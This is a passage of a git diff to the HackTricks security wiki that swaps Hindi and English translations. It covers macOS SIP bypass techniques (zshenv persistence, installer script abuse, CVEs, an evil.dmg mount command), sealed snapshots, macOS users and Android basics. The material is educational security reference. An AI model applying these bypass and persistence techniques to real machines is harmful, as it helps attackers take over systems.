**`/etc/zshenv`** फ़ाइल से कमांड चलाती है, यदि यह मौजूद है, यहां तक कि गैर-इंटरैक्टिव मोड में भी। इस व्यवहार का उपयोग हमलावरों द्वारा किया जा सकता है: एक दुर्भावनापूर्ण `/etc/zshenv` फ़ाइल बनाकर और **`system_installd` को `zsh`** को सक्रिय करने की प्रतीक्षा करके, वे डिवाइस पर मनमाने ऑपरेशन कर सकते हैं। +शोधकर्ताओं ने पाया कि Apple-साइन किए गए पैकेज (.pkg फ़ाइल) की स्थापना के दौरान, **`system_installd`** पैकेज में शामिल किसी भी **पोस्ट-इंस्टॉल** स्क्रिप्ट को **चलाता है**। ये स्क्रिप्ट डिफ़ॉल्ट शेल, **`zsh`** द्वारा निष्पादित की जाती हैं, जो स्वचालित रूप से **`/etc/zshenv`** फ़ाइल से आदेश चलाती है, यदि यह मौजूद है, यहां तक कि गैर-इंटरएक्टिव मोड में भी। इस व्यवहार का उपयोग हमलावरों द्वारा किया जा सकता है: एक दुर्भावनापूर्ण `/etc/zshenv` फ़ाइल बनाकर और **`system_installd` के `zsh` को सक्रिय करने की प्रतीक्षा करके**, वे डिवाइस पर मनमाने ऑपरेशन कर सकते हैं। -इसके अलावा, यह पाया गया कि **`/etc/zshenv` को एक सामान्य हमले की तकनीक के रूप में उपयोग किया जा सकता है**, न कि केवल SIP बायपास के लिए। प्रत्येक उपयोगकर्ता प्रोफ़ाइल में एक `~/.zshenv` फ़ाइल होती है, जो `/etc/zshenv` की तरह व्यवहार करती है लेकिन रूट अनुमतियों की आवश्यकता नहीं होती। इस फ़ाइल का उपयोग एक स्थायीता तंत्र के रूप में किया जा सकता है, जो हर बार `zsh` शुरू होने पर ट्रिगर होता है, या विशेषाधिकार बढ़ाने के तंत्र के रूप में। यदि एक व्यवस्थापक उपयोगकर्ता `sudo -s` या `sudo ` का उपयोग करके रूट में बढ़ता है, तो `~/.zshenv` फ़ाइल ट्रिगर होगी, प्रभावी रूप से रूट में बढ़ते हुए। +इसके अलावा, यह पता चला कि **`/etc/zshenv` को एक सामान्य हमले की तकनीक के रूप में उपयोग किया जा सकता है**, न कि केवल SIP बायपास के लिए। प्रत्येक उपयोगकर्ता प्रोफ़ाइल में एक `~/.zshenv` फ़ाइल होती है, जो `/etc/zshenv` की तरह व्यवहार करती है लेकिन रूट अनुमतियों की आवश्यकता नहीं होती। इस फ़ाइल का उपयोग एक स्थायीता तंत्र के रूप में किया जा सकता है, जो हर बार `zsh` शुरू होने पर ट्रिगर होता है, या विशेषाधिकार बढ़ाने के तंत्र के रूप में। यदि एक व्यवस्थापक उपयोगकर्ता `sudo -s` या `sudo ` का उपयोग करके रूट में बढ़ता है, तो `~/.zshenv` फ़ाइल ट्रिगर होगी, प्रभावी रूप से रूट में बढ़ते हुए। #### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) -[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) में यह पाया गया कि वही **`system_installd`** प्रक्रिया अभी भी दुरुपयोग की जा सकती है क्योंकि यह **`/tmp` के अंदर SIP द्वारा संरक्षित एक यादृच्छिक नामित फ़ोल्डर के अंदर पोस्ट-इंस्टॉल स्क्रिप्ट डाल रही थी**। बात यह है कि **`/tmp` स्वयं SIP द्वारा संरक्षित नहीं है**, इसलिए एक **वर्चुअल इमेज को उस पर माउंट** करना संभव था, फिर **इंस्टॉलर** वहां **पोस्ट-इंस्टॉल स्क्रिप्ट** डालता, **वर्चुअल इमेज को अनमाउंट** करता, **सभी फ़ोल्डरों को फिर से बनाता** और **पेलोड** के साथ **पोस्ट इंस्टॉलेशन** स्क्रिप्ट को जोड़ता। +[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) में यह पता चला कि वही **`system_installd`** प्रक्रिया अभी भी दुरुपयोग की जा सकती है क्योंकि यह **`/tmp` के अंदर SIP द्वारा संरक्षित एक यादृच्छिक नामित फ़ोल्डर के अंदर पोस्ट-इंस्टॉल स्क्रिप्ट डाल रही थी**। बात यह है कि **`/tmp` स्वयं SIP द्वारा संरक्षित नहीं है**, इसलिए एक **वर्चुअल इमेज को उस पर माउंट** करना संभव था, फिर **इंस्टॉलर** वहां **पोस्ट-इंस्टॉल स्क्रिप्ट** डालता, **वर्चुअल इमेज को अनमाउंट** करता, **सभी फ़ोल्डरों को फिर से बनाता** और **पेलोड के साथ पोस्ट इंस्टॉलेशन** स्क्रिप्ट को निष्पादित करने के लिए जोड़ता। #### [fsck\_cs उपयोगिता](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/) @@ -171,49 +158,49 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg ```bash /usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer ``` -The security of this process can be compromised if an attacker alters the upgrade image (`InstallESD.dmg`) before booting. The strategy involves substituting a dynamic loader (dyld) with a malicious version (`libBaseIA.dylib`). This replacement results in the execution of the attacker's code when the installer is initiated. +इस प्रक्रिया की सुरक्षा को खतरा हो सकता है यदि एक हमलावर बूट करने से पहले अपग्रेड इमेज (`InstallESD.dmg`) को बदलता है। रणनीति में एक डायनामिक लोडर (dyld) को एक दुर्भावनापूर्ण संस्करण (`libBaseIA.dylib`) के साथ प्रतिस्थापित करना शामिल है। यह प्रतिस्थापन तब होता है जब इंस्टॉलर शुरू होता है, हमलावर के कोड का निष्पादन होता है। -The attacker's code gains control during the upgrade process, exploiting the system's trust in the installer. The attack proceeds by altering the `InstallESD.dmg` image via method swizzling, particularly targeting the `extractBootBits` method. This allows the injection of malicious code before the disk image is employed. +हमलावर का कोड अपग्रेड प्रक्रिया के दौरान नियंत्रण प्राप्त करता है, इंस्टॉलर पर सिस्टम के विश्वास का लाभ उठाते हुए। हमला `InstallESD.dmg` इमेज को मेथड स्विज़लिंग के माध्यम से बदलने के द्वारा आगे बढ़ता है, विशेष रूप से `extractBootBits` मेथड को लक्षित करता है। इससे डिस्क इमेज का उपयोग करने से पहले दुर्भावनापूर्ण कोड का इंजेक्शन संभव हो जाता है। -Moreover, within the `InstallESD.dmg`, there's a `BaseSystem.dmg`, which serves as the upgrade code's root file system. Injecting a dynamic library into this allows the malicious code to operate within a process capable of altering OS-level files, significantly increasing the potential for system compromise. +इसके अलावा, `InstallESD.dmg` के भीतर, एक `BaseSystem.dmg` है, जो अपग्रेड कोड की रूट फ़ाइल प्रणाली के रूप में कार्य करता है। इसमें डायनामिक लाइब्रेरी का इंजेक्शन करने से दुर्भावनापूर्ण कोड एक ऐसे प्रक्रिया के भीतर कार्य कर सकता है जो OS-स्तरीय फ़ाइलों को बदलने में सक्षम है, जिससे सिस्टम के समझौते की संभावना काफी बढ़ जाती है। #### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk) -In this talk from [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), it's shown how **`systemmigrationd`** (which can bypass SIP) executes a **bash** and a **perl** script, which can be abused via env variables **`BASH_ENV`** and **`PERL5OPT`**. +[**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk) से इस वार्ता में दिखाया गया है कि **`systemmigrationd`** (जो SIP को बायपास कर सकता है) एक **bash** और एक **perl** स्क्रिप्ट को निष्पादित करता है, जिसे env वेरिएबल **`BASH_ENV`** और **`PERL5OPT`** के माध्यम से दुरुपयोग किया जा सकता है। #### CVE-2023-42860 -As [**detailed in this blog post**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), a `postinstall` script from `InstallAssistant.pkg` packages allowed was executing: +जैसा कि [**इस ब्लॉग पोस्ट में विस्तृत किया गया है**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), `InstallAssistant.pkg` पैकेज से एक `postinstall` स्क्रिप्ट निष्पादित हो रही थी: ```bash /usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg" ``` -and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` that would allow a user to **unrestrict any file, bypassing SIP protection**. +and यह संभव था कि `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` में एक symlink बनाया जाए जो एक उपयोगकर्ता को **किसी भी फ़ाइल को अनरिस्ट्रिक्ट करने की अनुमति देता है, SIP सुरक्षा को बायपास करते हुए**। ### **com.apple.rootless.install** {% hint style="danger" %} -The entitlement **`com.apple.rootless.install`** allows to bypass SIP +अधिकार **`com.apple.rootless.install`** SIP को बायपास करने की अनुमति देता है {% endhint %} -The entitlement `com.apple.rootless.install` is known to bypass System Integrity Protection (SIP) on macOS. This was notably mentioned in relation to [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/). +अधिकार `com.apple.rootless.install` macOS पर सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP) को बायपास करने के लिए जाना जाता है। इसका उल्लेख विशेष रूप से [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) के संबंध में किया गया था। -In this specific case, the system XPC service located at `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` possesses this entitlement. This allows the related process to circumvent SIP constraints. Furthermore, this service notably presents a method that permits the movement of files without enforcing any security measures. +इस विशेष मामले में, `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` पर स्थित सिस्टम XPC सेवा के पास यह अधिकार है। यह संबंधित प्रक्रिया को SIP प्रतिबंधों को दरकिनार करने की अनुमति देता है। इसके अलावा, यह सेवा विशेष रूप से एक विधि प्रस्तुत करती है जो बिना किसी सुरक्षा उपायों को लागू किए फ़ाइलों को स्थानांतरित करने की अनुमति देती है। -## Sealed System Snapshots +## सील किए गए सिस्टम स्नैपशॉट -Sealed System Snapshots are a feature introduced by Apple in **macOS Big Sur (macOS 11)** as a part of its **System Integrity Protection (SIP)** mechanism to provide an additional layer of security and system stability. They are essentially read-only versions of the system volume. +सील किए गए सिस्टम स्नैपशॉट एक विशेषता है जिसे Apple ने **macOS Big Sur (macOS 11)** में **सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP)** तंत्र के हिस्से के रूप में सुरक्षा और सिस्टम स्थिरता की एक अतिरिक्त परत प्रदान करने के लिए पेश किया है। ये मूल रूप से सिस्टम वॉल्यूम के केवल पढ़ने योग्य संस्करण हैं। -Here's a more detailed look: +यहाँ एक अधिक विस्तृत नज़र है: -1. **Immutable System**: Sealed System Snapshots make the macOS system volume "immutable", meaning that it cannot be modified. This prevents any unauthorised or accidental changes to the system that could compromise security or system stability. -2. **System Software Updates**: When you install macOS updates or upgrades, macOS creates a new system snapshot. The macOS startup volume then uses **APFS (Apple File System)** to switch to this new snapshot. The entire process of applying updates becomes safer and more reliable as the system can always revert to the previous snapshot if something goes wrong during the update. -3. **Data Separation**: In conjunction with the concept of Data and System volume separation introduced in macOS Catalina, the Sealed System Snapshot feature makes sure that all your data and settings are stored on a separate "**Data**" volume. This separation makes your data independent from the system, which simplifies the process of system updates and enhances system security. +1. **अपरिवर्तनीय सिस्टम**: सील किए गए सिस्टम स्नैपशॉट macOS सिस्टम वॉल्यूम को "अपरिवर्तनीय" बनाते हैं, जिसका अर्थ है कि इसे संशोधित नहीं किया जा सकता। यह सुरक्षा या सिस्टम स्थिरता को खतरे में डालने वाले किसी भी अनधिकृत या आकस्मिक परिवर्तनों को रोकता है। +2. **सिस्टम सॉफ़्टवेयर अपडेट**: जब आप macOS अपडेट या अपग्रेड स्थापित करते हैं, तो macOS एक नया सिस्टम स्नैपशॉट बनाता है। फिर macOS स्टार्टअप वॉल्यूम इस नए स्नैपशॉट पर स्विच करने के लिए **APFS (Apple File System)** का उपयोग करता है। अपडेट लागू करने की पूरी प्रक्रिया अधिक सुरक्षित और विश्वसनीय हो जाती है क्योंकि यदि अपडेट के दौरान कुछ गलत होता है, तो सिस्टम हमेशा पिछले स्नैपशॉट पर वापस लौट सकता है। +3. **डेटा पृथक्करण**: macOS कैटालिना में पेश किए गए डेटा और सिस्टम वॉल्यूम पृथक्करण के सिद्धांत के साथ, सील किए गए सिस्टम स्नैपशॉट सुविधा सुनिश्चित करती है कि आपके सभी डेटा और सेटिंग्स एक अलग "**डेटा**" वॉल्यूम पर संग्रहीत हैं। यह पृथक्करण आपके डेटा को सिस्टम से स्वतंत्र बनाता है, जो सिस्टम अपडेट की प्रक्रिया को सरल बनाता है और सिस्टम सुरक्षा को बढ़ाता है। -Remember that these snapshots are automatically managed by macOS and don't take up additional space on your disk, thanks to the space sharing capabilities of APFS. It’s also important to note that these snapshots are different from **Time Machine snapshots**, which are user-accessible backups of the entire system. +याद रखें कि ये स्नैपशॉट macOS द्वारा स्वचालित रूप से प्रबंधित होते हैं और आपके डिस्क पर अतिरिक्त स्थान नहीं लेते हैं, APFS की स्थान साझा करने की क्षमताओं के लिए धन्यवाद। यह भी महत्वपूर्ण है कि ये स्नैपशॉट **टाइम मशीन स्नैपशॉट** से भिन्न होते हैं, जो पूरे सिस्टम के उपयोगकर्ता-सुलभ बैकअप होते हैं। -### Check Snapshots +### स्नैपशॉट की जांच करें -The command **`diskutil apfs list`** lists the **details of the APFS volumes** and their layout: +कमांड **`diskutil apfs list`** **APFS वॉल्यूम के विवरण** और उनके लेआउट को सूचीबद्ध करता है:
+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
 |   ====================================================
@@ -252,42 +239,31 @@ The command **`diskutil apfs list`** lists the **details of the APFS volumes** a
 |   FileVault:                 Yes (Unlocked)
 
-In the previous output it's possible to see that **user-accessible locations** are mounted under `/System/Volumes/Data`. +पिछले आउटपुट में यह देखना संभव है कि **उपयोगकर्ता-सुलभ स्थान** `/System/Volumes/Data` के तहत माउंट किए गए हैं। -Moreover, **macOS System volume snapshot** is mounted in `/` and it's **sealed** (cryptographically signed by the OS). So, if SIP is bypassed and modifies it, the **OS won't boot anymore**. +इसके अलावा, **macOS सिस्टम वॉल्यूम स्नैपशॉट** `/` में माउंट किया गया है और यह **सील** है (OS द्वारा क्रिप्टोग्राफिक रूप से हस्ताक्षरित)। इसलिए, यदि SIP को बायपास किया जाता है और इसे संशोधित किया जाता है, तो **OS अब बूट नहीं होगा**। -It's also possible to **verify that seal is enabled** by running: +यह भी संभव है कि **सत्यापित करें कि सील सक्षम है** चलाकर: ```bash csrutil authenticated-root status Authenticated Root status: enabled ``` -इसके अलावा, स्नैपशॉट डिस्क को **पढ़ने के लिए केवल** के रूप में भी माउंट किया गया है: +इसके अलावा, स्नैपशॉट डिस्क को **केवल-पढ़ने** के रूप में भी माउंट किया गया है: ```bash mount /dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled) ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **स्टीलर मालवेयर** द्वारा **समझौता** किए गए हैं। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index 462dc4ab3..c2d820613 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,71 +1,56 @@ -# macOS उपयोगकर्ता +# macOS Users {% hint style="success" %} -**AWS हैकिंग सीखें और अभ्यास करें:**[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -**GCP हैकिंग सीखें और अभ्यास करें:** [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** को [**पीआर जमा करके**](https://github.com/carlospolop/hacktricks) और [**हैकट्रिक्स क्लाउड**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+### Common Users -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** से प्रेरित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि जांच सकें कि क्या कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **क्षति** पहुंचाई गई है। - -WhiteIntel का मुख्य उद्देश्य खाता हासिल करने और रैंसमवेयर हमलों से लड़ना है जो जानकारी चोरी करने वाले मैलवेयर से होते हैं। - -आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - -### सामान्य उपयोगकर्ता - -* **डेमन**: सिस्टम डेमन्स के लिए रिजर्व उपयोगकर्ता। डिफ़ॉल्ट डेमन खाता नाम आम तौर पर "\_" से शुरू होते हैं: +* **Daemon**: सिस्टम डेमन्स के लिए आरक्षित उपयोगकर्ता। डिफ़ॉल्ट डेमन खाता नाम आमतौर पर "\_" से शुरू होते हैं: ```bash _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs ``` -* **मेहमान**: बहुत सख्त अनुमतियों वाले मेहमानों के लिए खाता - -{% code overflow="wrap" %} +* **Guest**: मेहमानों के लिए खाता जिसमें बहुत सख्त अनुमतियाँ होती हैं ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ``` {% endcode %} -* **कोई नहीं**: प्रक्रियाएँ इस उपयोगकर्ता के साथ कार्यान्वित होती हैं जब न्यूनतम अनुमतियाँ आवश्यक होती हैं +* **कोई नहीं**: प्रक्रियाएँ इस उपयोगकर्ता के साथ तब निष्पादित होती हैं जब न्यूनतम अनुमतियों की आवश्यकता होती है * **रूट** ### उपयोगकर्ता विशेषाधिकार -* **मानक उपयोगकर्ता:** सबसे मौलिक उपयोगकर्ता। इस उपयोगकर्ता को सॉफ़्टवेयर इंस्टॉल करने या अन्य उन्नत कार्यों को करने की कोशिश करते समय एडमिन उपयोगकर्ता से अनुमतियाँ प्रदान की जाती हैं। वे इसे अपने आप नहीं कर सकते। -* **एडमिन उपयोगकर्ता**: एक उपयोगकर्ता जो अधिकांश समय मानक उपयोगकर्ता के रूप में कार्य करता है लेकिन साथ ही रूट कार्रवाई जैसे सॉफ़्टवेयर इंस्टॉल करने और अन्य प्रशासनिक कार्य करने की अनुमति होती है। सभी उपयोगकर्ता जो एडमिन समूह में शामिल हैं, **सुडोएर्स फ़ाइल के माध्यम से रूट तक पहुँच दी जाती हैं**। -* **रूट**: रूट एक उपयोगकर्ता है जिसे लगभग किसी भी कार्रवाई करने की अनुमति है (सिस्टम इंटेग्रिटी संरक्षण जैसे सुरक्षा द्वारा प्रतिबंध लगाए गए हो सकते हैं)। -* उदाहरण के लिए रूट `/System` के अंदर एक फ़ाइल नहीं रख सकेगा। +* **मानक उपयोगकर्ता:** सबसे बुनियादी उपयोगकर्ता। इस उपयोगकर्ता को सॉफ़्टवेयर स्थापित करने या अन्य उन्नत कार्य करने का प्रयास करते समय एक व्यवस्थापक उपयोगकर्ता से अनुमतियाँ प्राप्त करने की आवश्यकता होती है। वे इसे अपने दम पर नहीं कर सकते। +* **व्यवस्थापक उपयोगकर्ता**: एक उपयोगकर्ता जो अधिकांश समय मानक उपयोगकर्ता के रूप में कार्य करता है लेकिन सॉफ़्टवेयर स्थापित करने और अन्य प्रशासनिक कार्यों जैसे रूट क्रियाएँ करने की अनुमति भी है। व्यवस्थापक समूह से संबंधित सभी उपयोगकर्ताओं को **sudoers फ़ाइल के माध्यम से रूट तक पहुँच दी जाती है**। +* **रूट**: रूट एक उपयोगकर्ता है जिसे लगभग किसी भी क्रिया को करने की अनुमति है (सिस्टम इंटीग्रिटी प्रोटेक्शन जैसी सुरक्षा द्वारा सीमाएँ लगाई गई हैं)। +* उदाहरण के लिए, रूट `/System` के अंदर एक फ़ाइल रखने में असमर्थ होगा {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फ़ॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 0c69acf05..c87559dd9 100644 --- a/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Android Security Model **दो परतें हैं:** @@ -36,7 +28,7 @@ Learn & practice GCP Hacking: @@ -101,9 +93,9 @@ Android 5.0(L) से **SELinux** लागू किया गया है। - META-INF/ - यहीं पर प्रमाणपत्र स्थित है! - **classes.dex** -- इसमें डेलविक बाइटकोड होता है, जो संकलित जावा (या कोटलिन) कोड का प्रतिनिधित्व करता है जिसे अनुप्रयोग डिफ़ॉल्ट रूप से निष्पादित करता है। +- डेलविक बाइटकोड शामिल करता है, जो संकलित जावा (या कोटलिन) कोड का प्रतिनिधित्व करता है जिसे अनुप्रयोग डिफ़ॉल्ट रूप से निष्पादित करता है। - lib/ -- इसमें मूलभूत पुस्तकालय होते हैं, जो उपनिर्देशिकाओं में CPU आर्किटेक्चर द्वारा विभाजित होते हैं। +- मूलभूत पुस्तकालयों को रखता है, जो उपनिर्देशिकाओं में CPU आर्किटेक्चर द्वारा विभाजित होते हैं। - `armeabi`: ARM आधारित प्रोसेसर के लिए कोड - `armeabi-v7a`: ARMv7 और उच्चतर आधारित प्रोसेसर के लिए कोड - `x86`: X86 प्रोसेसर के लिए कोड @@ -117,30 +109,30 @@ Android 5.0(L) से **SELinux** लागू किया गया है। एंड्रॉइड विकास में, **Java या Kotlin** का उपयोग ऐप बनाने के लिए किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग करने के बजाय, एंड्रॉइड इस कोड को **Dalvik Executable (DEX) बाइटकोड** में संकलित करता है। पहले, डेलविक वर्चुअल मशीन इस बाइटकोड को संभालती थी, लेकिन अब, नए एंड्रॉइड संस्करणों में, एंड्रॉइड रनटाइम (ART) इसका प्रबंधन करता है। -रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवादित करके असेंबली भाषा की तरह कार्य करता है। इस संदर्भ में Smali और baksmali असेंबली और डिसअसेंबली उपकरणों को संदर्भित करते हैं। +रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवाद करके असेंबली भाषा की तरह कार्य करता है। इस संदर्भ में Smali और baksmali असेंबली और डिसअसेंबली उपकरणों को संदर्भित करते हैं। ## Intents -Intents एंड्रॉइड ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने के प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे HTTP संचार में GET/POST अनुरोधों का उपयोग किया जाता है। +Intents एंड्रॉइड ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने का प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे कि HTTP संचार में GET/POST अनुरोधों का उपयोग किया 